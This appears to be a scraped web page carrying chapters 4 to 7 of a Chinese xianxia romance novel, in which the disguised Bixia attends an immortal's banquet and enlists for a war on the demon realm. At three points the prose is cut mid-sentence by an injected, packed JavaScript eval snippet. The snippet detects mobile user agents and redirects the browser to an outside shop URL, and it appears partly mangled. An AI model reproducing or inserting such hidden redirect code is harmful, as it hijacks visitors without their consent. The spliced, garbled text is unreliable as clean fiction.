婼翎不以为然:“以权谋私,你们不是早就在干了吗?” 闹剧暂时告一段落,虽有异议,但也没人敢到明河仙尊面前多言。 上琼宴很快到来,这一天嘉应宗宗门大开,迎接从各个宗门世家赶来赴宴的俊杰英才。 碧霞一大早就起来为自己易容,镜中的人面色憔悴,一双眼睛却炯炯有神。 昨晚她修炼至半夜才睡下,因着上琼宴在即,心情微微激动,干脆起来练功,没想到突破了一个一直以来的运气难结。后半夜又做了梦,不过对她来说算是个美梦。 她梦到自己在上琼宴里被明河揭穿伪装,当着众人的面,□□被撕了下来,露出的却不是镜中这张妩媚桀骜的脸。 而是一张眉目脆弱,盛满了苍白愁思的面庞。 明河仙尊见了这张脸,一时怔在当场,不可置信地叫了一声:“阿月?” 碧霞迅速往脸上泼了一捧水,她想她真的疯魔了。 如果她是碧霞,她一点也不想这样。 桃夭她们说,三百年前,她只是个目中无人的天才术修,看不出有任何喜欢明河仙尊的意思。 洗干净脸后,碧霞就用辛辣的药液软化脸部皮肤,将面具严丝合缝地贴上去,转瞬间换了张平平无奇的面容。 她将柜子里的那套内门弟子服拿出,整齐地穿在身上。 虽然已经失去了内门弟子的资格,但搞到一套衣裳并不是什么难事。她也不算外门弟子,要干许多杂役。 自由,是目前唯一生活的优点。 碧霞下楼,往常这个时间点天织阁大厅不会有什么人,今天明显热闹了许多,她正要跨过敞开的大门,旁边倚在廊柱上的女人忽然走过来,伸手扶住了她的肩,“一起吗?” 碧霞愣了愣,看着花虹,她少见地穿着一身月白绸裙。 见她呆住,花虹举起手中的玛瑙枫叶,脸上露出一个笑:“你不是碧霞吗?” “啊,是啊,你能认出我?” “你是易容了,又没改变身材和走路的姿态。” 碧霞点点头,心想也是。 她们走出去,站到天织阁门前高高的阶梯上,天朗气清,数十只雪白仙鹤在碧空上排成两列,飞过头顶,崭新的双翅,有力的喉嗓,都使人精神一振。 花虹的坐骑是一头螭虎,蹲在最下面的台阶上。 这是一种很常见的灵兽,不过花虹的这头脸上有六只眼睛,虽然不知道多出来的眼睛有什么用,不过确实增添了几分霸气。 碧霞曾经也有一只,听父亲说,她经常打骂它,在她被关进北海冰牢后,那只灵兽绕着金元峰得意地飞了三圈,快活地另寻他主了。 碧霞感到愧疚,连温驯的灵兽都欺负,曾经的她得有多不是人啊? 她有些羡慕地坐上螭虎宽大紧实的背,花虹则立着身,螭虎脚底生风,带着她们飞往主脉后山。 嘉应宗占据着三条几乎平行的山脉,主脉被东西二岭夹在中间,主要的宗门建筑位于这条巍峨挺立的主脉上。 东岭走势较为平缓,不过灵气浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922976|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度不如西岭,主要用来豢养灵兽以及种植一些中低阶灵植,因为涉足的人不多,东岭有许多地方仍待开发。 西岭山峰多,灵气浓郁,前段用作外门弟子的居所,后段则是许多避世修士的洞府,这些修士大多修为高深,收着两三个徒弟,过着静心潜修,不理俗务的生活。 碧霞认为一个优秀的宗门理应如此,有人负责维持日常运转,也有人专注修行问道。 嘉应宗财大气粗。主脉与西岭之间,有一条纯度和储量都极高的灵石矿,开采百年仍未枯竭,完全供得起这群避世隐者。 她想起来,金元峰虽人丁凋敝,但仍占据着极好的地理位置,恰好位于矿脉附近,每天早晨醒来都能看到矿脉弥漫出来的淡青色灵雾,十分利于修行。 飞了大概一刻钟,螭虎缓缓降落在月留殿台阶前的空地上。 此时,整座山已被大片似火的红枫包围,秋光冉冉,殿前空地上停留着无数灵兽仙禽。华服素容的仙子,峨冠博带的宗士,身旁跟着护卫的世家家主……数不清身份和名号的人在将红枫玛瑙交给一旁的门徒后,获得了进入月留殿的资格。 碧霞将那枚雕刻成枫叶的玛瑙握在手里,抬头往上看,恢宏殿宇沐浴在秋日的阳光中。 殿宇后,似乎隐隐有七彩神光透出,将碧青的天染得耀白一片。 她深吸了一口气,从来没敢靠近这里过,胸膛里的心微微激动地颤抖起来。 两人正要踏上台阶,身后忽然传来一道造作的声音:“自古逢秋悲寂寥,我言秋日胜春朝。这满山红枫如火,哪有一点寂寥之感,哈哈——” 碧霞和花虹同时回头,祝曦穿着一身绛紫色烟罗裙,和几位不知道是哪一派门的修士互相寒暄着。 “这人又在附庸风雅。”花虹脸上挂着嘲笑,下一刻便转回头,用一种似乎想使碧霞安心的语气说道:“但她的本质其实是和你一样的。” “哈啊?”碧霞愣了愣。 “你不觉得吗,不然你们也不会是死对头了。” 这话,仿佛她一同鄙视着她们的灵魂。 两人将物帖交给台阶上的弟子,往殿门走去。 碧霞因为花虹的话,稍微落后了半步。她搞不明白,花虹既然瞧不起她,为什么又要主动和她同行? 穿过前厅、长廊,以及一片巨大的荷花池后,两人来到了另一个殿厅。 这个殿厅比较特别,形状像一个碗,碗的底部两前两后地矗立着四根高高的石柱,柱身蟠龙缠绕,符文纂刻,术法的光芒流动其上,并不像简单的用来支撑建筑的柱子。 何况这个殿厅是露天的,没有加盖天花板。 边缘是一圈圈的宽大台阶,宴席用到的桌毯、杯盘,从下到上地布置在这些台阶上,已有不少人挑了位置落座。 花虹一直往里走,在靠近石柱的那片宴席上坐下。碧霞犹豫了一下,不知道她是不是特意挑的这个位置,但也随着她坐下了。 大厅温度极低,虽没有屋顶,但也没有一丝秋光洒下,顶部大概率设置了结界,隔绝秋日温暖的气息,将宴厅氛围塑造得冷沉。 碧霞打了个颤,拨弄了一下桌面上摆着的玉牌,一只青瓷莲花壶和两只小茶杯便出现在面前。 她伸出手,触到温热的壶身,略感满意。 5. 第 5 章 碧霞拎起茶壶给自己倒了一杯,身旁花虹的声音适时传来,“这种茶叫做莫分茶,明河仙尊的发妻死后,他便在发妻死亡的劫云山栽满了这种凡间才会有的茶树,据说是他们在凡间时会饮用的茶叶,入口苦涩,回味寡淡,完全比不过仙界的品种,却是唯一入仙尊眼的。” “是吗……”碧霞看着杯里泛红的茶汤,下意识地有几分动容。 花虹的目光却还粘在她脸上。 碧霞连忙回神,惶恐地放下茶杯,声音有些变形:“唔——抱歉,我的错。” “我还是觉得很神奇,曾经对自己有杀妻之仇的人,现在却能堂而皇之地出现在自己举行的宴席上。”花虹弯起那双透净锐利的眼眸,看着碧霞笑道:“从仙尊的角度来看,这是不是一种对他的挑衅?” “……仙尊大概并不知道我的存在吧。”碧霞低下了头,看着桌面上刺绣的花纹发呆。 花虹收敛了一些身上散发出来的不友好气息,仰起脖子看向面前那几根高耸的石柱:“仙尊确实不知道,毕竟事情已经无法改变,该追究的已经追究完。对仙尊这种身份的人来说,再怎么难以放下,也得向前走。” “你似乎很了解仙尊?”碧霞看向花虹,好奇道。 “以前在月留殿同仙尊修行一段时间,自然了解些。” 碧霞于是有些急切地请求道:“那姑娘也算仙尊的徒弟,求你不要告诉他我的存在。” 流光从玉牌里窜出,花虹的桌面上也出现了一套茶具,她慢悠悠地给自己倒茶:“哦,你很想赎罪吗?” “赎罪,应该不算?”碧霞斟酌着说道。 “那你想做什么?”她瞪过来,质问的声音提高了几分,“为什么到上琼宴来?” 在花虹看来,这人应对明河仙尊避之不及才是,而现在汲汲营营取得进入上琼宴的名额,除了心存挑衅,还能有什么目的? 碧霞见她展露怒容,摆了摆手,连忙解释道:“不,我的意思是,除了死,我还能怎么赎罪,但你知道,没有人真的想死——” 两人说话的当儿,殿厅的大门已经关闭,虽然来的人没有多到要把整个殿厅填满,但宾客互相交流的声音还是混杂成闹哄哄的一片。 “如果是赎罪,我也应该向素月夫人赎罪。”在这一片混乱的动静中,碧霞的脑子也有点嗡嗡作响,她鬼使神差地说道:“我只是想看看他,看看他现在是什么模样……或许这就够了。” “哈?”花虹拧起了眉头。 反应过来自己说了什么后,碧霞瞬间紧闭双唇,目光有些空洞。 “我很想吐。”花虹直白地表达着自己的感受,将茶水一饮而尽后,露出一个嘲讽的眼神:“但你确实可以放心,我不会拿你到仙尊面前烦他的,你已经不配了。” 碧霞弯了弯腰,向花虹讪讪地道谢。 殿厅开始弥漫冷雾,雾中花影朦胧,一座云台同时浮现在半空中,迥然独立于下方的所有宾客席位。 云台内,白雾裹挟着一道道人影。 待雾气微散,众人才看清那是一群女子。她们俨然也是此次上琼宴的与会宾客,面前摆着精致的蔬果杯盘,但打扮不似参加宴会的女修张扬华丽,神色也有些怯惧,有些在左顾右盼,看到自己处于半空中,吓得往里面缩了缩。 碧霞眨了眨眼:“那些人是?” “嘉应宗内的凡界女子,明河仙尊特意准许她们参加上琼宴。”花虹的声音不大,却传遍周围席间。 于是立即有人附和道:“明河仙尊果然仁德宽厚,不愧是三百年便成尊的不世天才,实力与德行皆无可挑剔。” “寰老谬赞了,扶弱济困一直是嘉应宗的行事宗旨,其他宗门想必也当仁不让。” 碧霞去听身后那个声音,貌似又是祝曦。 不过也有人调笑道:“弱倒是挺弱的,但貌似和“困”不沾边吧。” 是个人都能猜出,那些女子大概率是嘉应宗内的男修的亲眷,将这群女子请进上琼宴,还特意为她们设置席位,有一种不嫌丢人的意思。 但祝曦意识不到这些,她只记得那群女子中有不少是家破人亡,颠沛流离后被带进宗里的,试图解释:“慕容宗主此言差矣——” 嘉应宗宗主坐在人群中,脸色黑了一半:“祝曦仙子,切勿多言。” 这时,花虹就像找碧霞的茬一样,又转过脸问道:“你觉得如何?” 碧霞微微一怔,看着云台上那些拘谨的,被迫承受众人目光的女子,斟酌着说出自己的想法:“我觉得把她们的位置调整一下会更好。” 既已邀请凡人参加上琼会,又何必将她们置于众人目光下,正常安排席位想来会让她们好受一点。 花虹点点头,没什么特别的反应,貌似也赞同她:“你说得对。” 殿厅内的冷雾愈发厚重,像绒毯似的一层层弥漫上台阶。碧霞缩了缩手脚,注意到那四根奇怪的柱子变得流光溢彩,柱子的顶部白光交织,一些阵法符文在光芒中若隐若现。 心知仙尊即将驾临,整个宴厅一时阒寂无声,所有人屏息以待。 碧霞也静静注视着那片神秘莫测的白光,只是花虹选的这个位置不太好,柱子太近,太高,脖子全然受累。 但还好不用等待太久。 法阵结成,泛响起两道清脆铃音,在诺大殿宇中回荡,数道莹白光束从法阵边缘延伸出来,如利刃直插地面。 待光芒消散,朗朗青天之下,巍峨柱座之上,昭然浮现出四道人影。 碧霞最先看到的是几道飘扬的衣角,他们周身,那些如日晕般的护体神光将她迷得头昏目眩。 天旋地转,整个空间有了一种与先前截然不同的空旷感。仿佛所有人都被带到了云层之上,飘然遁入只有修为已臻化境者才能掌控的神域之中。 她眨了眨眼,低下头,脸颊上的肉微微发酸。 周围响起一片恭迎声。 很少有上琼宴能将当今四位仙尊都聚集起来。 医尊集笙没有加入任何门派,常年在绿春谷内钻研医术药理,虽也会负责一些修真界事务,不过多是给嘉应宗打打下手。 冥睐仙尊自从和吉庆宗闹掰后,便避世不出,难以请动。 海萤仙尊更是远居南海,仿佛独立于整个修真界之外,一应大小事情全与她无关。 她在辽阔海域上一方小小的无涯岛内创立了一个门派,叫做无岸派。据说整个无岸派只有不到二十名弟子,皆是这位仙尊游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922977|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历四界时收留回去的女性。 “没想到连海萤仙尊都来了,我可从未见她参加过任何仙门集会。” “那是尊者见得少了,在下倒是有幸参加过一次海萤仙尊本人举办的上琼宴,不过也是六百年前的事了。” “那为何后来不见?” 也有人满怀担忧:“四尊出动,莫非此次魔界的情况真的很不容乐观?” “再不容乐观,有四尊出手,便毋需担心。” “哈,”一名嘉应宗弟子笑道:“估计这次也只有明河仙尊会出手。” 两百年前,魔界封印松动,如洪流般的魔气席卷修真界大小门派,造成巨大混乱与无数伤亡,明河祭出三层修为将封印修复。 一百六十年前,妖界与凡界之间的天堑被暴动的妖潮冲破,狂乱的妖类在凡界大肆屠戮,明河随着凡界的将士出征,将妖群杀回了妖界,并直捣黄龙,斩杀毫无作为的妖王。 一百三十年前,修真界内的魔修与妖修共同筹谋,暗中破坏地脉,泄露地气,试图通过此法动摇修真界平衡。事情败露后,明河仙尊带领着嘉应宗弟子四处修补地脉,并展开了一场境内的妖魔大清洗。 八十年前,漱月门弟子在凤阻山一带发现了两条世所罕见紫灵石矿脉。凤阻山是吉庆宗的地界,矿脉的大部分实体却不在凤阻山界内。按照修真界不成文的规定,矿脉、秘境等中立资源的归属权最先属于发现它的人。漱月门认为这条矿脉属于中立资源,而吉庆宗却认为这条矿脉毫无疑问应该属于自己。 两方为了争夺矿脉的归属权,不断拉拢其他门派结盟,酿成了一场死伤过千的内战,最终也是明河仙尊带人平定内乱。 近百来年,所有叫得上名字,对修真界的和平安宁产生威胁的事件,或多或少都有明河仙尊参与其间。 因此他也得了一个调侃性质的外号——苦力仙尊。在其他仙尊闭门不出,忙着自己的事情时,他兢兢业业,毫无怨言地贡献自己的力量。 周围议论声窸窸窣窣地传进耳朵里,碧霞用手掌抵住额头,穷尽目力,也只能看到明河仙尊的一个侧影。 她无奈地叹了口气,拿起桌上的茶杯。 虽然花虹说莫分茶苦涩,但对碧霞来说茶水都差不多。差不多的难喝。 此时,一道冷沉磁润的声音仿佛从头顶的云中透出:“诸位,久候了。此次上琼宴的主要目的是为向魔界发兵做准备,各门派,世家,组织请在宴会结束后向嘉应宗递交拟定的派兵名册,待仙盟将名册中的人数编排完成,所派修士出发向戡魔崖集结,限五日之内。” 杯中茶水荡漾,碧霞的心也跟着微微颤动。她再次试图去瞻仰那几道高高在上身影。 另一道沉稳清朗的女声接着响起,大概就是传说中的海萤仙尊:“上琼阵结成,请诸位做好准备。” 碧霞迷茫地看了看周围,他们脸上都有一种期待的神色,唯独她不知道上琼阵是什么。 “仙尊们会把自己体内的力量通过上琼阵分享出来。”花虹在一旁幽幽解释道。 碧霞感激地看了她一眼,“原来如此。” 大概这是一种馈赠,不拿出一点好处,怎么让那些道行百年千年的狐狸精将门人派去魔界。 6. 第 6 章 这个世界没有那么多的义不容辞,大部分修士想的都是尽可能活下去,获取更多的资源,增进自身修为。 凡人知道自己终有一死,会在有限的百年时间内,用物质,感情,或者更宏大意义去填充自己的一生。 但漫长的仙途会让一切失真,外物与爱终究填不满千年岁月,一些原本执着信念也在漫长的时光中逐渐风化凋零。 唯一所剩的念头只是越变越强,不断地挑战一个又一个对手。在沧海桑田的变迁中感受到岁月宇宙的宏大,在不断的生死交错间体会到逼命的快感,感受到活着的那一瞬。 一切的追求变成了一种抽象的极致。 有时候,碧霞心底会冷不丁地冒出一个声音,问三百年过去,明河仙尊是否还在执着曾经的那段情爱? 虽然她不是素月,但每次想到这一点,都会觉得有些难过和遗憾。 如果有机会,她一定要搞懂仙尊的想法。 空中洒下点点荧光,最后彻底变成了一场纷纷扬扬的金雨,宴厅中每一个修士都敞开丹田气海,尽情吸纳这些来之不易的馈赠。 并不是每次上琼宴都有这种饕餮盛宴。 碧霞也跟着照做,经过仙尊锤炼的灵气果然非同凡响,她的气海饱涨充盈。试着默念了几句之前无法参透的心诀,经脉竟然走气顺畅,如有神助。 修真界的仙尊就如凡界的帝王,这一场馈赠整整持续了两刻钟,仙尊们体内的灵力跟不要钱似的往下洒,结束后,众人再次对四位仙尊拜谢。 医尊集笙的灵力有一种淡淡的花香味,此刻空气中都萦绕着那股花香,多出来的灵力在地面上凝结成了数朵金莲。 云台上的凡人女子不知道该怎么享用这一切。但灵力终究与灵气不同,灵气需自行吸纳,灵力却可以主动穿过皮肤融入血液中,虽然她们不明就里,但也觉得神清体快,目意澄明。 之后,就是几名修士向在场众人展示魔界的状况。 情况算不上严重,说是近年内魔界内出现了一名强大的魔头,这名魔头横扫了各大魔族势力,建立起了统一的国度。而现在魔头正在整顿集结力量,试图冲破两界之前的封印,向修真界发兵。 所以仙盟决定主动出击,利用浩世镜的空间传送能力,在不对两界封印造成影响的情况下,把修士们送入魔界,将战场阻隔在修真界之外,力图减少影响。 这个决定自然引起了一些争论,有人担忧将战场设置在魔界,会造成环境地理上的劣势。 仙盟自然对此做出了解答,经过他们勘察,魔界环境的影响不足为道,此战目的只在趁魔族尚未整顿完成,打他们一个措手不及,并从魔界内部巩固封印。 然后便是各门派世家点人,将人数拟成册提交上去,实在不想出人的,或多或少也出了些力。 碧霞只是一个小小的修士,除了将自己派出去外指使不了任何人。 上琼宴结束后,她去到执事堂,将自己的名字报了上去。 执事堂的人要她出示内门弟子或外门弟子的身份牌,但碧霞无论哪一个都拿不出来,那人便对她说:“你已经不算嘉应宗弟子了,名字要通过金元峰呈递上来。” 于是碧霞只好回了趟金元峰。 只是她忘了卸下□□,在石阶道上被家中的一个后辈拦了下来。她只好将家族令牌拿出来给他过目。 “真是碧霞姑姑?”少年接过令牌翻看,下意识疑惑道:“去上琼宴为什么要易容?” 碧霞哑然,苍白地解释了几句,少年脑筋转过来,猜到了真实原因。 但这不妨什么,他将令牌还给她,开开心心地出峰去玩了。 碧霞在他身后笑了笑,即使家族走下坡路,但新一代的孩子们依然过得十分快乐。 从没有人因为他们家里有一个愚蠢的姑姑而刁难过他们,他们自然对她无任何龃龉埋怨。 除了还记得家族曾经是何等威风的那些长辈与同辈们。 碧霞走进山门,穿过回廊与庭院,一路来到母亲的居所。 院落里的植物刚浇了水,叶片在暖阳下闪闪发光,几蓬秋天的枯草沿着墙根生长过去,像刚刚在上琼宴见到的宗主夫人穿在身上的毛领子。 居所正门半掩着,碧霞推门进去,转了一圈,来到屋子的另一边。门扇大开,正对着侧院里的几丛菊花,屋内光线充足,母亲正靠在窗边的榻上假寐。 自从父亲在那一夜身亡后,母亲便接替父亲成为了金元峰峰主,这些年仰赖她的扶持,金元峰才没有彻底倒下。 隔着珠帘,榻上妇人缓缓睁开眼,慵懒地问道:“谁呀?” “是我,母亲。” 一听声音,阮柔云便认出了她,“碧霞,你易容了?” “是,女儿刚刚参加完上琼宴。” “是嘛,见到明河仙尊了?” “见到了,不过仙尊自然不会注意到我。” 阮柔云从帘后走出,上下打量她两眼,又在桌旁坐了下来,“你这性子,有时候我倒怀疑是别人戴了碧霞的面具回来冒充我女儿的。” “峰主大人,你也知道的,我确实失去了一部分记忆。”,碧霞挠了挠发痒的侧脸,干脆也坐到了旁边的凳子上,耸耸肩,“或许是我自觉罪孽深重,产生了逃避心理。” 她想起桃夭的这个解释,逐渐地信了大半。 阮柔云却骂道:“要我说你是被寒气冻坏了脑子,天杀的洛无咎,还禁止任何人去探视你。” 这名洛无咎,正是嘉应宗宗主,明河仙尊的亲生父亲。 碧霞不懂:“寒气还能把人冻失忆吗?” “谁知道,以后若有机会,一定要带你到医尊那里看看。” 她哦了一声,“但我们现在哪还见得着医尊。” “你不记得了,我们金元峰还是和绿春谷有些交情的,以前绿春谷炼得了什么丹药,都会第一时间送来给我们。” 都是以前了,在这三年,碧霞就没见过什么绿春谷的人来。 她不太在意,但还是和母亲继续聊下去,“明河仙尊和集笙医尊是人尽皆知的挚友,医尊怎么会帮挚友的仇人。” 这话令阮柔云的眉心登时皱了起来,她叹了口气,“不管如何,母亲会为你争取的。” 碧霞觉得感动:“母亲。” 她一点也不喜欢待在金元峰,除了母亲之外,金元峰的其余长辈皆视她为丧门星。她也没有任何关于他们,甚至母亲父亲的记忆。 两年前她和母亲相处起来还会有些尴尬,现在已经好多了。 她对阮柔云抿出一个笑容:“母亲,其实我回来是想跟你说一件事,我已经打算参加这次仙门对魔界的征讨,如果能在这场战役里显著立功,或许会对家族有所助益。” 阮柔云正在倒茶,听了这话却摇头,一语中的:“你不懂,你得罪的并不是嘉应宗,而是明河仙尊,这是立多少功都无法化解的私仇。” 碧霞顿了顿,感到一丝绝望:“是吗……” 或许确实如此,他们已经被仙尊永久地记了一笔,金元峰是再也不可能回到过去的景况了。 而她一想到自己会被仙尊横眉冷对,心上又额外地受了另一种伤。 不过她依旧坚持:“但女儿还是想试试,嘉应宗总不至于是明河仙尊一人说了算,若立了功,宗门至少也得给我们做一些表面的功夫。” 不去争取的话,她又要怎么对家族赎罪呢,难道要一直逃避吗。 阮柔云静默了一会儿,也未过多阻拦,只是略微疲惫地点了点头:“好,既然你已经有了决心。” 碧霞告诉她自己已失去内门弟子身份的事,阮柔云说金元峰峰主的印鉴在书房里,要她自己找来盖章。 在书房里为自己拟写好推荐书,盖上峰主印鉴后,碧霞拿出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922978|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给阮柔云过目。 裹着紫色斗篷的妇人又回到了榻上,重新阖眼浅眠,只对着碧霞挥了挥手:“去吧,我相信你能平安回来的。对了,仓库里还有几样法宝来着,晚些时候我整理出来送到你房间里,看看能不能带上……” 女人低声而困倦地念叨着,碧霞轻手轻脚地退了出去,不再打扰她休息。 碧霞再走一趟执事堂,将盖着金元峰峰主印鉴的自荐书递交过去,名字终于被记上了。 “五天内要到戡魔涯报到,不要错过时间。”执事堂的人再次交代。 想着为此战做些准备,碧霞便到回春堂采购了几瓶疗伤补气的丹药。 听说她要去的是魔界,回春堂的医修还额外赠送了她两枚上品清髓丹,可以帮助修士抵御魔气,清毒御瘴。傍晚的时候,碧霞又出宗到符镇买了些上好的黄苍符纸,画了七八十枚各类符咒收入芥子袋中。 余下的时间,她用来攻克那本《太玄生箓》,她无法拜师,只好自学,所幸这三年一直有不小的进步。虽然记忆消失,但功体根基却保留了下来。 在做准备的这几天,又听桃夭说了些八卦,左不过是些关于宗内凡人女子,以及枫离神君和他带回来的那名少年长轩的事。 虽然一场战役正紧锣密鼓地进行准备工作,但大部分人的日子还是徜徉在悠闲的秋日氛围中,为着些琐碎之事抓耳挠腮。 执事堂办事效率极快,似乎有人背后做保。为凡人女子建造的阁楼已经拟好了名字,叫做蜀云阁。建材的采买清单已经得到掌门大殿批准,连同款项也很快地拨给了玄造部。 除此之外,每名女子每月可以领到四块上品灵石,折算成银钱就是四十两,若怀有身孕,每月则可领六块上品灵石。 这一决定可把嘉应宗女修们气炸了。 桃夭她们一连痛骂了好几天,碧霞惊讶得不知道该说些什么,虽然理解她们感受到的不公,但也从未想到那些恶毒的话语会从几位美丽体面的仙子口中吐出。 与此形成鲜明对照的,是她们对那名少年长轩的态度。 桃夭满面春风。碧霞听她说,那名叫长轩的少年患有特殊顽疾,天生魂魄残缺,五脏不全,需要屠梨木养润身体。而枫离神君为取得屠梨木,带剑闯入了明河仙尊的月留殿中。 屠梨木是可遇不可求之物。它是修士成尊时,贯彻天地的劫雷撤去后,留下的无数雷击木中最罕有的一种。 修真界的基础修行境界分为炼体,炼气,筑基,渊通。每突一层境界,便会有劫云飘来对修士进行考验。 渊通过后极度漫长的一段时间,不再有境界划分,也不再有劫云给予的肯定,一切但凭修士摸索。 只是当修士的实力终于达到一定强悍的境界后,天空中会再次飘来一朵七彩劫云,如若能活着度过这一劫,便可成尊。 五十年前,明河仙尊在自己的彩云雷阵中得到了一截屠梨木,据说他将屠梨木雕刻成了一只木枕,试图用来重新塑造亡妻的躯体。 桃夭简直无法相信,枫离神君竟然会为了一位凡人少年干出得罪仙尊这种事。 “那仙尊将屠梨木给枫离君了吗?” “当然给了,大概仙尊也想成全他们两个吧。”桃夭将脸撑在手掌里,有些天真地说道。 碧霞听得头疼,仿佛有一柄钝刀伸进了脑子里,一点点地搅动。 同样是被带进宗内的凡人,女修们的态度简直天差地别。 并且她们完全意识不到这其中的吊诡之处。 碧霞的心暗下来一半,脑子却无比清晰地说道:“仙尊确实有成人之美,那天我去参加上琼宴,上百个凡人女子被他特意邀请入席,大概仙尊也想她们和自己的丈夫在宗内被接纳生活下去吧。” 只是她这话一说出来,桌上的四五个女人都投来了怪异的目光,碧霞甚至在一两双眼睛里看到了那种近乎威胁的意味。 7. 第 7 章 报名完成的第三天,嘉应宗的告示栏上就张贴出了几页长长的名册。碧霞在一应要被派去魔界作战的人里找到了自己的名字。 傍晚,有执事堂弟子乘着仙鹤到金元峰给她送来了一块行令腰牌。 这块腰牌可以记录修士在作战过程中的大部分状况,例如诛杀了多少只魔类,为启动阵法消耗了多少灵气真气等等。 如果修士能活下来,是可以通过腰牌内的记录论功行赏,得到不少馈赠的。 领取腰牌后的第二天,碧霞便束好长发,换上一身黑红劲装,腰间跨一柄削铁如泥的短剑,像个游侠般赶往孤落平原上的戡魔崖。 孤落平原位于仙盟北面,地势像一块翘起的石板,平铺着连天碧草,戡魔崖就位于平原支起来的那头。 清晨出发,御器飞行,到达目的地还不到巳时。 正门广场上人声鼎沸,统共有一万五千名修士将被派往魔界,这会儿似乎一下全来了,闹哄哄的人群中有错落起伏的叫卖声,修士们抓住机会兜售着自己制作的法宝灵丹。 碧霞凭借腰牌,轻松穿过门口的结界,进入了戡魔崖。 天是阴的,估计会下一场秋雨。 门外与门内界限分明,门内玄黑色的地砖坚硬光洁,渗透出一股凉气,没走多久凉意就缠上脚踝,道路两边不间断地排列着三四人高的虎皮巨鼓,肃穆庄严,甚至有一种魔的阴森。 戡魔崖隶属于仙盟,是修真界抵御魔族入侵的壁垒,仙盟最重要的几个组织之一。 五年前,明河仙尊接替上任仙盟盟主,成为了戡魔崖的负责人。 碧霞没来过这里,只能跟着周围的人走,没一会儿就来到几株巨大的银杏树下。 厚厚的金毯上,有人排了两列长桌,桌上放着纸笔,显然就是报到的地方。碧霞过去问了问,顺手将腰牌摘下。 “嘉应宗的?”那人拿起笔,看了眼她手里的金色腰牌,“名字。” “碧霞,术修。” 桌旁堆着一摞书册,那人抽出其中一本,翻开便是嘉应宗的出派弟子名单。他从里面找到碧霞两个字涂红,接着又翻到最后,几张纸页上粘着黄白两种纸条,他随意撕下一张黄纸条,递给碧霞。 碧霞看了看,黄纸上写着六个字——顺遊楼逸字间。 “沿着那条长满紫铃藤的道路走过去就能看到顺遊楼,逸字是你的房间。”男人手指随意往后指了指,碧霞看过去,一片烟紫隔着金色的叶片映入眼帘。 他还交代道:“三十日过后,戡魔崖的结界与大门便彻底关闭,不能再允许修士外出和进入,有什么要做的事,置办的东西,最好趁这几天办完。” 碧霞点了点头,问出自己最关心的问题:“仙盟大概什么时候出发攻打魔界?” “没那么快,至少还得进行半个月的排兵布阵演练呢。”他数起名册上剩下的几个白色名字。 “好,多谢。” 碧霞踏上了那条小路,玄黑的石,浓紫的花,有一种像在梦中行走的感觉,只是路过了湛元楼、风元楼,神元楼,就是不见顺遊楼。 最后,她来到了一条淙淙流淌的小溪旁,再过去就是一片竹林,几座亭子和一些低矮的黑木头房,没有楼了。 “嘶,走错了吗?”碧霞停在流水边自言自语,又低头看了眼纸条,溪面顺势映出她平平无奇的一张面庞。 她愣了愣,以为水下面真有一个陌生人在跟自己对视,不禁莞尔。 戡魔崖不是有着重重峰峦的嘉应宗,在宗内如果小心点,她甚至能一辈子不见到仙尊。但在这地方,她与仙尊打照面的几率会胜过任何时候。 为了不出差错,碧霞照旧为自己准备了一张假面。 她转身,正打算回去重新找一遭,身后的溪水忽然炸起一道响,水珠高高溅起,落到她的脖子和头发上。 碧霞连连后退了几步,水面摇晃激荡,不知是什么在作乱。 她稍稍凝神,想搞清楚再离开,一道经过真气放大的男声忽然穿林透叶,带着不容置疑的威压响起:“天钺是最适合此次作战的封魔阵,不必多言。” “可是崖主,天钺的余威太不可控了,说不定会对封印造成反作用——” 劝说声落下,仿佛天公陡然做怒,阴云疾走,欲要平静的水面再次泛起圈纹,翠绿的竹林被气流扰动,无数叶片沙沙作响。 只是这一切又很快平复下来,方圆内的景色转换得猝不及防。风凝住了,叶片之间不再摩擦抖动,继而所有杂乱的,细微的声音通通被抹消于无形之中,达到了万籁俱寂的地步。 一动一静,变化如流,碧霞扶了扶额头,难道她真在梦中? 不一会儿,脚步声响起,像打破寂静的钥匙,溪流的淙淙声和空中穿行的风声再次回到现实,两名穿着黑袍的男人急匆匆地从竹林小径里走了出来。 “明河仙尊果真是这种性格啊。”其中一人摇了摇头,咋舌道。 “你不要当面质疑仙尊,惹得他不快。” “唉,戡魔崖地位重要,岂能让一人独断专行。” 那两人绕过竹丛,忽然注意到溪边懵懵懂懂站立着的碧霞,但也只是看了几眼,没多说什么。 人离开后,碧霞抬手,抹掉发丝上的水珠。她再次望向那片茂盛的竹林,几乎是凝望,心脏渐渐有种被揪紧的感觉。 